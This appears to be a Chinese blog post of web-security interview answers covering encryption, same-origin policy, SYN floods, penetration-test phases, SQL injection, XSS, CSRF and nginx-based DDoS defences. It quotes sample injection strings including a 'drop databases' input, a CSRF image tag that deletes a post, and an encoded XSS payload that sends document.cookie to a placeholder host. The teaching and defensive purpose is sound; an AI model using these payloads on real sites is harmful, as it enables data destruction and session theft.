网站常见攻击

1、什么是对称加密,什么是非对称加密?【概念】
对称加密:加解密用同一密钥,密钥维护复杂 n(n-1)/2,不适合互联网传输密钥,加解密效率高。应用于加密数
据。 非对称加密:公钥推不出私钥,每个用户一个非对称密钥对就可以,适合于互联网传输公钥,但是加密效率
低,应用于数字签名及加密。
2、什么是同源策略?【概念】
为了防止不同域在用户浏览器中彼此干扰,浏览器对从不同来源(域)收到的内容进行隔离。 浏览器不允许任何旧
有脚本访问一个站点的cookie,否则,会话容易被劫持。
只有发布cookie的站点能够访问这些cookie,只有通过该站点返回的页面所包含或加载的JavaScript才能访问
cookie。
3、SYN攻击原理?
先普及下TCP三次握手和半连接:
在TCP/IP协议中,TCP协议提供可靠的连接服务,采用三次握手建立一个连接。 第一次握手:建立连接时,客
户端发送syn包(syn=j)到服务器,并进入SYN_SEND状态,等待服务器确认; 第二次握手:服务器收到syn包,
必须确认客户的SYN(ack=j+1),同时自己也发送一个SYN包(syn=k), 即SYN+ACK包,此时服务器进入
SYN_RECV状态; 第三次握手:客户端收到服务器的SYN+ACK包,向服务器发送确认包ACK(ack=k+1),此包发
送完毕, 客户端和服务器进入ESTABLISHED状态,完成三次握手。
完成三次握手,客户端与服务器开始传送数据,在上述过程中,还有一些重要的概念: 未连接队列:在三次握
手协议中,服务器维护一个未连接队列,该队列为每个客户端的SYN包(syn=j)开设一个条目, 该条目表明
服务器已收到SYN包,并向客户发出确认,正在等待客户的确认包。这些条目所标识的连接在服务器处于
Syn_RECV状态, 当服务器收到客户的确认包时,删除该条目,服务器进入ESTABLISHED状态。 backlog参
数:表示未连接队列的最大容纳数目。 SYN-ACK 重传次数 服务器发送完SYN-ACK包,如果未收到客户确认
包,服务器进行首次重传,等待一段时间仍未收到客户确认包, 进行第二次重传,如果重传次数超过系统规定
的最大重传次数,系统将该连接信息从半连接队列中删除。注意,每次重传等待的时间不一定相同。 半连接存
活时间:是指半连接队列的条目存活的最长时间,也即服务从收到SYN包到确认这个报文无效的最长时间, 该
时间值是所有重传请求包的最长等待时间总和。有时我们也称半连接存活时间为Timeout时间、SYN_RECV存
活时间。
SYN攻击属于DOS攻击的一种,它利用TCP协议缺陷,通过发送大量的半连接请求,耗费CPU和内存资源。 SYN攻击
除了能影响主机外,还可以危害路由器、防火墙等网络系统,事实上SYN攻击并不管目标是什么系统, 只要这些系统
打开TCP服务就可以实施。从上图可看到,服务器接收到连接请求(syn=j), 将此信息加入未连接队列,并发送请
求包给客户(syn=k,ack=j+1),此时进入SYN_RECV状态。 当服务器未收到客户端的确认包时,重发请求包,一直到超时,才将此条目从未连接队列删除。 配合IP欺骗,SYN攻击能达到很好的效果,通常,客户端在短时间内伪造大
量不存在的IP地址, 向服务器不断地发送syn包,服务器回复确认包,并等待客户的确认,由于源地址是不存在的,
服务器需要不断的重发直至超时,这些伪造的SYN包将长时间占用未连接队列,正常的SYN请求被丢弃, 目标系统运
行缓慢,严重者引起网络堵塞甚至系统瘫痪。
4 什么是参透测试?参透测试的流程?
1、什么是参透测试:
渗透测试是指渗透人员在不同的位置(比如从内网、从外网等位置)利用各种手段对某个特定网络进行测试,以期发
现和挖掘系统中存在的漏洞,然后输出渗透测试报告,并提交给网络所有者。网络所有者根据渗透人员提供的渗透测
试报告,可以清晰知晓系统中存在的安全隐患和问题。
2、参透测试的流程:
前期交互阶段、情报搜集阶段、威胁建模阶段、漏洞分析阶段、 渗透攻击阶段(Exploitation)、后渗透攻击阶段
(怎么一直控制,维持访问)、报告阶段。
攻击前:网络踩点、网络扫描、网络查点 攻击中:利用漏洞信息进行渗透攻击、获取权限 攻击后:后渗透维持攻
击、文件拷贝、木马植入、痕迹擦除
5 sql注入?【高频】
sql注入产生的原因其实还是没有对输入输出进行安全过滤的问题,后台的直接将用户的输入当做了sql语句的一部
分,然后就直接执行了,导致用户对sql语句可控。
$arg = $_POST['user_name'];
//$arg = 1' or user_name='无辜用户'
//$arg = 1'; 'drop databases
$sql = " select *from user where user_name = '$arg' ";
$sql = " select *from user where user_name = '1' or user_name='无辜用户' ";
$sql = " select *from user where user_name = '1'; 'drop databases' ";
#这里执行sql语句
预防:
1、不要随意开启生产环境中Webserver的错误显示。 2、永远不要信任来自用户端的变量输入,有固定格式的变量
一定要严格检查对应的格式,没有固定格式的变量需要对引号等特殊字符进行必要的过滤转义。 3、使用预编译绑定
变量的SQL语句,如php的PDO预编译和mysqli预编译等。【最有效】 4、做好数据库帐号权限管理。 5、严格加密
处理用户的机密信息。6 什么是xss攻击?如何预防?【高频】
1、什么是xss攻击?
跨站脚本攻击,xss其实也算是注入的一种,只不过属于html/js注入,注入类漏洞的都是没有对用户输入输出进行安
全处理导致的。而csrf的话更有一种隐藏在黑暗中的刺客的感觉,而且是借刀杀人的那种,这里借的刀就是用户的会
话状态(或者说cookie?),举一个例子,比如你请求了一个带有csrf漏洞的普通页面,可能这个页面中就有这么一段
代码<img src=http://www.xxx.com?action=del&id=2>这段代码就悄悄地去请求了你的博客(www.xxx.com),并
且删除了id为2的文章
2、如何预防?
预防思路
web 页面中可由用户输入的地方,如果对输入的数据转义、过滤处理 后台输出页面的时候,也需要对输出内容进行
转义、过滤处理(因为攻击者可能通过其他方式把恶意脚本写入数据库) 前端对 html 标签属性、css 属性赋值的地
方进行校验
注意:
各种语言都可以找到 escapeHTML() 方法可以转义 html 字符。
转义后
%3Cscript%3Ewindow.open%28%22xxx.aaa.xxx%3Fparam%3D%22+document.cookie%29%3C/script%3E
上网搜索xss正则过滤方法
7 听过盲注吗,解释一下,和报错注入、普通注入的区别?
盲注是猜测,然后验证
报错注入是故意填错,然后看到报错信息里面的关键信息
普通注入就是拼接恶意sql
8.什么是CSRF攻击?如何预防?【高频】
CSRF(Cross-site request forgery)也被称为 one-click attack或者 session riding,中文全称是叫跨站请求伪造。
一般来说,攻击者通过伪造用户的浏览器的请求,向访问一个用户自己曾经认证访问过的网站发送出去,使目标网站
接收并误以为是用户的真实操作而去执行命令。常用于盗取账号、转账、发送虚假消息等。攻击者利用网站对请求的
验证漏洞而实现这样的攻击行为,网站能够确认请求来源于用户的浏览器,却不能验证请求是否源于用户的真实意愿
下的操作行为。
1. 验证请求的来源站点
在服务器端验证请求的来源站点。因为CSRF攻击大多数都是来自第三方站点。通过http请求头中的Referer和Origin属性
referer属性
记录了该http请求的来源地址,但有些场景不适合将来源URL暴露给服务器,所以可以设置不用上传,并且referer属
性是可以修改的,所以在服务器端校验referer属性并没有那么可靠
origin属性
通过XMLHttpRequest、Fetch发起的跨站请求或者Post方法发送请求时,都会带上origin,所以服务器可以优先判断
Origin属性,再根据实际情况判断是否使用referer判断。
2. CSRF Token
除了上面两个方法之外,还可以使用CSRF Token来验证。
在浏览器向服务器发起请求时,服务器生成一个CSRF Token(字符串)发送给浏览器,然后将该字符串放入页
面中
浏览器请求时(如表单提交)需要带上这个CSRF Token。服务器收到请求后,验证CSRF是否合法,如果不合法
拒绝即可。
相关接口网关只容许信任站点进来请求
3、要求用户输入验证码,比如手机短信验证码
9 DDOS(分布式拒绝服务)是什么,如何预防?
ddos资料:
5.5.1 ddos 是什么
通俗的例子:
我开了一家餐厅,正常情况下,最多可以容纳100个人同时进餐。你直接走进餐厅,找一张桌子坐下点餐,马
上就可以吃到东西。
很不幸,我得罪了一个流氓。他派出1000个人同时涌进餐厅。这些人看上去跟正常的顾客一样,每个都说”赶
快上餐”。但是,餐厅的容量只有100个人,根本不可能同时满足这么多的点餐需求,加上他们把门口都堵死
了,里三层外三层,正常用餐的客人根本进不来,实际上就把餐厅瘫痪了。
这就是 DDoS 攻击,它在短时间内发起大量请求,耗尽服务器的资源,无法响应正常的访问,造成网站实质下
线。
DDoS 里面的 DoS 是 denial of service(停止服务)的缩写,表示这种攻击的目的,就是使得服务中断。最前面
的那个 D 是 distributed (分布式),表示攻击不是来自一个地方,而是来自四面八方,因此更难防。你关了前
门,他从后门进来;你关了后门,他从窗口跳起来。
5.1 DDoS攻击如何工作?
DDoS攻击需要攻击者控制在线计算机网络才能进行攻击。计算机和其他计算机(如物联网设备)感染了恶意软件,
将每个计算机转变为机器人(或僵尸)。然后,攻击者可以远程控制僵尸程序组,这称为僵尸网络。
一旦僵尸网络建立,攻击者就可以通过远程控制方法向每个机器人发送更新的指令来指导机器。当受害者的IP地址被
僵尸网络作为目标时,每个僵尸程序将通过向目标发送请求来响应,可能导致目标服务器或网络溢出容量,从而导致
对正常流量的拒绝服务。由于每个机器人都是合法的Internet设备,因此将攻击流量与正常流量分开可能很困难。单个HTTP请求在客户端执行起来很便宜,并且目标服务器响应起来可能很昂贵,因为服务器通常必须加载多个文件
并运行数据库查询才能创建网页。
5.3 DDOS攻击的特征
攻击经常来源于一些相对固定的IP或IP段,每个IP都有远大于真实用户的连接数和请求数。
备注:这并不表明这种请求都是代表着DDOS攻击。在很多使用NAT的网络架构中,很多的客户端使用网关的IP
地址访问公网资源。但是,即便如此,这样的请求数和连接数也会远少于DDOS攻击。
因为攻击是由木马发出且目的是使服务器超负荷,请求的频率会远远超过正常人的请求。
User-Agent通常是一个非标准的值
伪造的ip是骗不过tcp的,能骗过udp
5.4 DDoS防御的方法
硬件防火墙,充足的网络,升级主机服务器硬件,安装专业抗DDOS防火墙(安全狗,360卫士),备份网站,部署
CDN(一旦上了 CDN,千万不要泄露源服务器的 IP 地址,否则攻击者可以绕过 CDN 直接攻击源服务器),购买高
防 IP(网站域名指向高防 IP,它提供一个缓冲层,清洗流量,并对源服务器的内容进行缓存),企业级 DDoS 清洗
系统架构,启用基于 sysctl 的保护,分层解决方案。
以上就是传说中的技术不够,用钱凑。
其它方法及注意事项:
使用 CSF,iptables,UFW,APF 等软件防火墙
服务器上没用的端口一定要关掉,只对外网开放80等端口,有些重要端口,比如mysql的3306,只对指定ip白名单
(公司内部服务器的ip地址)提供访问权限。
防止伪造IP:伪造是修改数据包。使用tcp而不是udp,TCP无法伪造IP,因为需要三次握手,比较安全;UDP可以伪
造。tcp必须使用代理ip,攻击者攻击成本高。
5.5 nginx防御DDOS
限制每个IP的请求速度
设置Nginx、Nginx Plus的连接请求在一个真实用户请求的合理范围内。比如,如果你觉得一个正常用户每两秒可以
请求一次登录页面,你就可以设置Nginx每两秒钟接收一个客户端IP的请求(大约等同于每分钟30个请求)。limit_req_zone 命令设置了一个叫one的共享内存区来存储请求状态的特定键值,在上面的例子中是客户端
IP($binary_remote_addr)。location块中的 limit_req 通过引用one共享内存区来实现限制访问/login.html的目
的。
限制连接数量
设置Nginx、Nginx Plus的连接数在一个真实用户请求的合理范围内。比如,你可以设置每个客户端IP连接/store不
可以超过10个。
limit_conn_zone 命令设置了一个叫addr的共享内存区来存储特定键值的状态,在上面的例子中是客户端IP(
$binary_remote_addr)。location块中 limit_conn 通过引用addr共享内存区来限制到/store/的最大连接数为10。
关闭慢连接
有一些DDOS攻击,比如Slowlris,是通过建立大量的连接并周期性的发送一些数据包保持会话来达到攻击目的,这
种周期通常会低于正常的请求。这种情况我们可以通过关闭慢连接来抵御攻击。
client_body_timeout 命令用来定义读取客户端请求的超时时间, client_header_timeout 命令用来定于读取客
户端请求头的超时时间。这两个参数的默认值都是60s,我们可以通过下面的命令将他们设置为5s:
limit_req_zone $binary_remote_addr zone=one:10m rate=60r/m;
server {
...
location /login.html {
limit_req zone=one;
...
}
}
limit_conn_zone $binary_remote_addr zone=addr:10m;
server {
...
location /store/ {
limit_conn addr 10;
...
}
}设置IP黑名单
你确定攻击来源于123.123.123.3、123.123.123.5、123.123.123.7几个IP,可以这样设置:
设置IP白名单
如果你的网站仅允许特定的IP或IP段访问,你可以结合使用allow和deny命令来限制仅允许你指定的IP地址访问你的
网站。如下,你可以设置仅允许192.168.1.0段的内网用户访问:
deny命令会拒绝除了allow指定的IP段之外的所有其他IP的访问请求。
使用缓存进行流量削峰
通过打开Nginx的缓存功能并设置特定的缓存参数,可以削减来自攻击的流量,同时也可以减轻对后端服务器的请求
压力。以下是一些有用的设置:
proxy_cache_use_stale 的updating参数告诉Nginx什么时候该更新所缓存的对象。只需要到后端的一个更新
请求,在缓存有效期间客户端对该对象的请求都无需访问后端服务器。当通过对一个文件的频繁请求来实施攻
击时,缓存功能可极大的降低到后端服务器的请求。
proxy_cache_key 命令定义的键值通常包含一些内嵌的变量(默认的键值$scheme$proxy_host$request_uri
包含了三个变量)。如果键值包含 $query_string 变量,当攻击的请求字符串是随机的时候就会给Nginx代理
server {
client_body_timeout 5s;
client_header_timeout 5s;
...
}
location / {
deny 123.123.123.3;
deny 123.123.123.5;
deny 123.123.123.7;
...
}
location / {
allow 192.168.1.0/24;
deny all;
...
}过重的缓存负担,因此我们建议一般情况下不要包含 $query_string 变量。
屏蔽特定的请求
可以设置Nginx、Nginx Plus屏蔽一些类型的请求:
针对特定URL的请求
针对不是常见的User-Agent的请求
针对其他请求头中包含可以联想到攻击的值的请求
比如,如果你判定攻击是针对一个特定的URL:/foo.php,我们就可以屏蔽到这个页面的请求:
或者你判定攻击请求的User-Agent中包含foo或bar,我们也可以屏蔽这些请求:
http_name变量引用一个请求头,上述例子中是User-Agent头。可以针对其他的http头使用类似的方法来识别攻
击。
限制到后端服务器的连接数
一个Nginx、Nginx Plus实例可以处理比后端服务器多的多的并发请求。在Nginx Plus中,你可以限制到每一个后端
服务器的连接数,比如可以设置Nginx Plus与website upstream中的每个后端服务器建立的连接数不得超过200个:
location /foo.php {
deny all;
}
location / {
if ($http_user_agent ~* foo|bar) {
return 403;
}
...
}upstream website {
server 192.168.100.1:80 max_conns=200;
server 192.168.100.2:80 max_conns=200;
queue 10 timeout=30s;
}
max_conns 参数可以针对每一个后端服务器设置Nginx Plus可以与之建立的最大连接数。 queue 命令设置了当每个
后端服务器都达到最大连接数后的队列大小, timeout 参数指定了请求在队列中的保留时间。
用nginx+lua实现自动ip封禁和限流。
lua将ip访问量存入redis,结合redis进行ip访问频率等的追踪和自动封禁。
10 解决web安全问题主要从哪些方面入手?【中低频】
1、SQL注入攻击 2、跨站脚本攻击 - XSS 3、跨站伪造请求攻击 - CSRF 4、文件上传漏洞攻击 5、分布式拒绝服务攻
击 - DDOS
并不是只包括这些,而是说主要安全问题
posted @ 2021-11-15 15:57  kakasaber  阅读(309)  评论(0编辑  收藏  举报